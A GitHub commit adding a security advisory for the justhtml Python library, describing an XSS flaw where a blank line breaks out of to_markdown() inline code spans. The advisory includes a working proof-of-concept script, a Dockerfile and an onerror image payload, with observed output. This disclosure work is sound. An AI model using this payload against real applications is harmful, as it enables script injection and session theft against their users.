Skip to content

Commit 079ccde

Browse files
1 parent aa07cbb commit 079ccde

1 file changed

Lines changed: 59 additions & 0 deletions

File tree

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-jf6w-2mvx-633j",
4+
"modified": "2026-06-25T17:35:52Z",
5+
"published": "2026-06-25T17:35:52Z",
6+
"aliases": [],
7+
"summary": "justhtml: to_markdown() code-span blank-line breakout enables XSS",
8+
"details": "# justhtml: to_markdown() code-span blank-line breakout enables XSS\n\n### Summary\n\nIn `justhtml` 0.9.0 through 1.21.0, `to_markdown()` renders `<code>` text (and `<pre>` text inside a link) as an inline Markdown code span whose only protection is backtick-fence length. A blank line (`\\n\\n`) in that text terminates the inline span in any compliant Markdown renderer, so attacker-controlled text that survived HTML sanitization is emitted **unescaped** after the blank line and is re-parsed as live raw HTML/Markdown — yielding XSS in the default configuration. Likely **CWE-79 (Cross-site Scripting)** arising from **CWE-116 (Improper Encoding/Escaping of Output)**.\n\n### Details\n\n`to_markdown()` is documented as a safety surface. `docs/text.md` states the guarantee applies \"to the HTML produced by rendering that Markdown with a compliant Markdown renderer,\" and `SECURITY.md` promises `to_markdown()` \"escapes line-start Markdown markers that could change block structure\" and \"uses code fences long enough to contain backticks safely.\"\n\nThe inline code-span helper only sizes the backtick fence; it never accounts for block boundaries:\n\n`src/justhtml/node.py:32-41` (tag `v1.21.0`):\n\n```python\ndef _markdown_code_span(s: str | None) -> str:\n if s is None:\n s = \"\"\n # Use a backtick fence longer than any run of backticks inside.\n fence = _markdown_backtick_fence(s, minimum=1)\n # CommonMark requires a space if the content starts/ends with backticks.\n needs_space = s.startswith(\"`\") or s.endswith(\"`\")\n if needs_space:\n return f\"{fence} {s} {fence}\"\n return f\"{fence}{s}{fence}\"\n```\n\nThe element's text is taken verbatim (`strip=False`, so embedded newlines are preserved) and routed into that helper:\n\n`src/justhtml/node.py:1061-1078` (tag `v1.21.0`):\n\n```python\n if tag == \"pre\":\n code = current.to_text(separator=\"\", strip=False)\n if current_in_link:\n current_builder.raw(_markdown_code_span(code)) # inline path\n else:\n fence = _markdown_backtick_fence(code, minimum=3) # block path\n ...\n if tag == \"code\" and not current_preserve:\n current_builder.raw(_markdown_code_span(current.to_text(separator=\"\", strip=False)))\n```\n\nA Markdown **inline code span is an inline construct and cannot span a block boundary**: a blank line ends the paragraph, the opening backticks are left unmatched (literal), and everything after the blank line is parsed as ordinary Markdown — independent of fence length. Because CommonMark passes raw inline HTML through by default, text such as `<img src=x onerror=...>` becomes a live element.\n\nReachability with default settings: `JustHTML(html)` sanitizes by default; `<code>` and `<pre>` are in `DEFAULT_POLICY.allowed_tags`; default sanitization preserves their text and the blank line (whitespace collapsing is opt-in). The payload lives in **text**, not a URL attribute, so URL-scheme sanitization never applies. The tokenizer decodes character references in normal text before DOM insertion, so `&lt;img …&gt;` enters the DOM as literal `<img …>` text while passing HTML sanitization.\n\nTwo in-repo asymmetries confirm this is an unguarded path rather than intended behavior:\n\n- **Plain text-node content is HTML-escaped** before Markdown escaping, so the same `&lt;img …&gt;` outside a code span is neutralized to `&lt;img …>`. Inside a code span it is not escaped — the fence is assumed sufficient.\n- **`<pre>` outside a link uses a block fence** (`minimum=3`, line 1066), which a blank line cannot break. The same `<pre>` **inside a link** (line 1064) and all `<code>` use the inline span, which a blank line breaks.\n\n### PoC\n\nSelf-contained, runs entirely in Docker against the pinned PyPI release. Static by default: the rendered HTML is **parsed** to show a live handler-bearing element materializes; no JavaScript is executed on the default path.\n\n`Dockerfile`:\n\n```dockerfile\nFROM python:3.11-slim\nWORKDIR /poc\nRUN pip install --no-cache-dir justhtml==1.21.0 markdown-it-py==4.2.0 \\\n && (pip install --no-cache-dir dukpy==0.5.0 || echo \"dukpy optional: skipped\")\nCOPY poc.py test.sh /poc/\nCMD [\"sh\", \"/poc/test.sh\"]\n```\n\n`poc.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: justhtml to_markdown() inline code-span blank-line breakout -> XSS.\nAudited release: justhtml==1.21.0. Static by default (parses the rendered HTML;\nno JS executed). --prove-exec is an opt-in, container-only execution check.\"\"\"\nfrom __future__ import annotations\nimport argparse\nfrom html.parser import HTMLParser\nfrom justhtml import JustHTML\nfrom markdown_it import MarkdownIt\n\nMARKER = \"__POC_XSS_MARKER__\"\nPAYLOAD_TEXT = f\"<img src=x onerror={MARKER}()>\"\nRENDER = MarkdownIt(\"commonmark\") # raw-HTML passthrough is the CommonMark default\n\n\ndef build_inputs() -> tuple[str, str]:\n enc = PAYLOAD_TEXT.replace(\"<\", \"&lt;\").replace(\">\", \"&gt;\")\n control = f\"<code>q{enc}</code>\" # no blank line -> should stay inert\n exploit = f\"<code>q\\n\\n{enc}</code>\" # + one blank line -> the whole exploit\n return control, exploit\n\n\ndef to_markdown(html: str) -> str:\n return JustHTML(html, fragment=True).to_markdown() # public API, default sanitize=True\n\n\nclass _SinkFinder(HTMLParser):\n def __init__(self) -> None:\n super().__init__(); self.sinks: list[tuple[str, str, str]] = []\n def handle_starttag(self, tag, attrs):\n for name, val in attrs:\n if name.startswith(\"on\") and val and MARKER in val:\n self.sinks.append((tag, name, val))\n\n\ndef live_sinks(html: str):\n f = _SinkFinder(); f.feed(html); return f.sinks\n\n\ndef show(label: str, html: str):\n md = to_markdown(html); rendered = RENDER.render(md); sinks = live_sinks(rendered)\n print(f\"== {label} ==\")\n print(f\" 1. input HTML : {html!r}\")\n print(f\" 2. to_markdown() out : {md!r}\")\n print(f\" 3. CommonMark render : {rendered.strip()!r}\")\n print(f\" 4. live JS sinks : {sinks if sinks else 'NONE (inert)'}\\n\")\n return rendered, sinks\n\n\ndef prove_exec(rendered: str) -> None:\n print(\"== --prove-exec (supplementary, container-only) ==\")\n sinks = live_sinks(rendered)\n if not sinks:\n print(\" no sink to execute\"); return\n handler_js = sinks[0][2]\n print(f\" materialized handler JS: {handler_js!r}\")\n try:\n import dukpy\n except Exception:\n print(\" [skipped] optional 'dukpy' not installed; parse proof is canonical.\"); return\n result = dukpy.evaljs(f\"var fired=''; function {MARKER}(){{ fired='XSS-EXECUTED'; }} {handler_js}; fired;\")\n print(f\" JS engine result: {result!r} -> attacker JS executed\" if result else \" JS did not fire\")\n\n\ndef main() -> int:\n ap = argparse.ArgumentParser()\n ap.add_argument(\"--prove-exec\", action=\"store_true\")\n args = ap.parse_args()\n control, exploit = build_inputs()\n print(\"Delta between control and exploit: exactly one blank line (\\\\n\\\\n).\\n\")\n _, c_sinks = show(\"CONTROL (payload in <code>, NO blank line)\", control)\n ex_rendered, e_sinks = show(\"EXPLOIT (payload in <code>, + blank line)\", exploit)\n ok = (not c_sinks) and bool(e_sinks)\n print(\"== VERDICT ==\")\n print(\" BYPASS CONFIRMED.\" if ok else \" not reproduced\")\n if ok:\n print(f\" Sanitized code text became a LIVE element: {e_sinks[0]}\")\n print()\n if ok and args.prove_exec:\n prove_exec(ex_rendered)\n return 0 if ok else 1\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```\n\nBuild and run:\n\n```bash\ndocker build -t justhtml-md-poc ./poc\ndocker run --rm justhtml-md-poc\n```\n\nObserved output (`justhtml 1.21.0`, `markdown-it-py 4.2.0`):\n\n```\n=== Versions under test ===\nName: justhtml\nVersion: 1.21.0\nName: markdown-it-py\nVersion: 4.2.0\n\nDelta between control and exploit: exactly one blank line (\\n\\n)\ninserted into otherwise identical <code> text.\n\n== CONTROL (payload in <code>, NO blank line) ==\n 1. input HTML : '<code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>'\n 2. to_markdown() out : '`q<img src=x onerror=__POC_XSS_MARKER__()>`'\n 3. CommonMark render : '<p><code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code></p>'\n 4. live JS sinks : NONE (inert)\n\n== EXPLOIT (payload in <code>, + blank line) ==\n 1. input HTML : '<code>q\\n\\n&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>'\n 2. to_markdown() out : '`q\\n\\n<img src=x onerror=__POC_XSS_MARKER__()>`'\n 3. CommonMark render : '<p>`q</p>\\n<p><img src=x onerror=__POC_XSS_MARKER__()>`</p>'\n 4. live JS sinks : [('img', 'onerror', '__POC_XSS_MARKER__()')]\n\n== VERDICT ==\n BYPASS CONFIRMED.\n The blank line terminated the inline code span; sanitized code\n text became a LIVE handler-bearing element: ('img', 'onerror', '__POC_XSS_MARKER__()')\n The control (no blank line) stayed inert inside <code>.\n```\n\nThe exploit is byte-identical to the inert control plus a single blank line\n(`\\n\\n`). Deterministic: same input → same result.\n\nOptional execution confirmation (`docker run --rm justhtml-md-poc python3 /poc/poc.py --prove-exec`)\n— supplementary; the parse proof above is canonical. Inert marker only:\n\n```\n== --prove-exec (supplementary, container-only) ==\n materialized handler JS: '__POC_XSS_MARKER__()'\n JS engine result: 'XSS-EXECUTED' -> attacker JS executed\n```\n\n### Impact\n\nThis is a cross-site scripting vulnerability (CWE-79). It affects any application that follows the documented pipeline: sanitize untrusted HTML with `JustHTML(...)` under default settings, call `to_markdown()`, and render the result with a CommonMark-compliant renderer (raw-HTML passthrough is the CommonMark default).\n\nAn attacker only needs to control HTML text inside a `<code>` element, or a `<pre>` element within a link — no custom policy and no `sanitize=False`. Any user who then views the rendered page executes attacker-controlled script in their own origin, enabling cookie/session theft or actions performed as the victim.\n\nSeverity: CVSS 3.1 **6.1 (Moderate)**,\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`. Scope is Changed: the injected script runs in the origin of the page that renders the Markdown, a different security authority than the library that produced it.\n\n### Recommended fix\n\nDo not represent text containing a block boundary as an inline code span. In `_markdown_code_span` / the `<code>` and in-link `<pre>` dispatch (`src/justhtml/node.py:1061-1078`), if the content contains a blank line (or any `\\n`), emit it as a fenced code **block** — reusing the existing block path at lines 1066-1074, whose fence is not broken by blank lines — or collapse newlines in inline-code content. As defense-in-depth, escape HTML/Markdown-significant characters in code-span bodies rather than relying on fence length alone, matching the existing text-node escaping already applied elsewhere.\n\n### Resources\n\n- CWE-79 — https://cwe.mitre.org/data/definitions/79.html\n- CWE-116 — https://cwe.mitre.org/data/definitions/116.html\n- Affected source (tag `v1.21.0`): `src/justhtml/node.py:32-41` (`_markdown_code_span`), `src/justhtml/node.py:1061-1078` (`<pre>`/`<code>` dispatch).\n- CommonMark spec — code spans are inline and cannot contain a blank line; raw HTML is passed through by default: https://spec.commonmark.org/0.31.2/#code-spans\n- Novelty: same vulnerability class as two prior, already-fixed `to_markdown()` advisories but a **distinct, still-unfixed variant**. The earlier fixes address\n (a) HTML-escaping of plain text nodes and (b) backtick-fence **length** for `<pre>` code **blocks**. Neither addresses a **blank-line** break of an **inline** code span: fence length is irrelevant to a block-boundary break, and code-span bodies are not HTML-escaped. The cited dispatch and helper are unchanged at `v1.21.0`, and `origin/main == v1.21.0` (no embargoed fix).",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "PyPI",
19+
"name": "justhtml"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0.9.0"
27+
},
28+
{
29+
"fixed": "1.22.0"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 1.21.0"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/EmilStenstrom/justhtml/security/advisories/GHSA-jf6w-2mvx-633j"
43+
},
44+
{
45+
"type": "PACKAGE",
46+
"url": "https://github.com/EmilStenstrom/justhtml"
47+
}
48+
],
49+
"database_specific": {
50+
"cwe_ids": [
51+
"CWE-79",
52+
"CWE-116"
53+
],
54+
"severity": "MODERATE",
55+
"github_reviewed": true,
56+
"github_reviewed_at": "2026-06-25T17:35:52Z",
57+
"nvd_published_at": null
58+
}
59+
}

0 commit comments

Comments
 (0)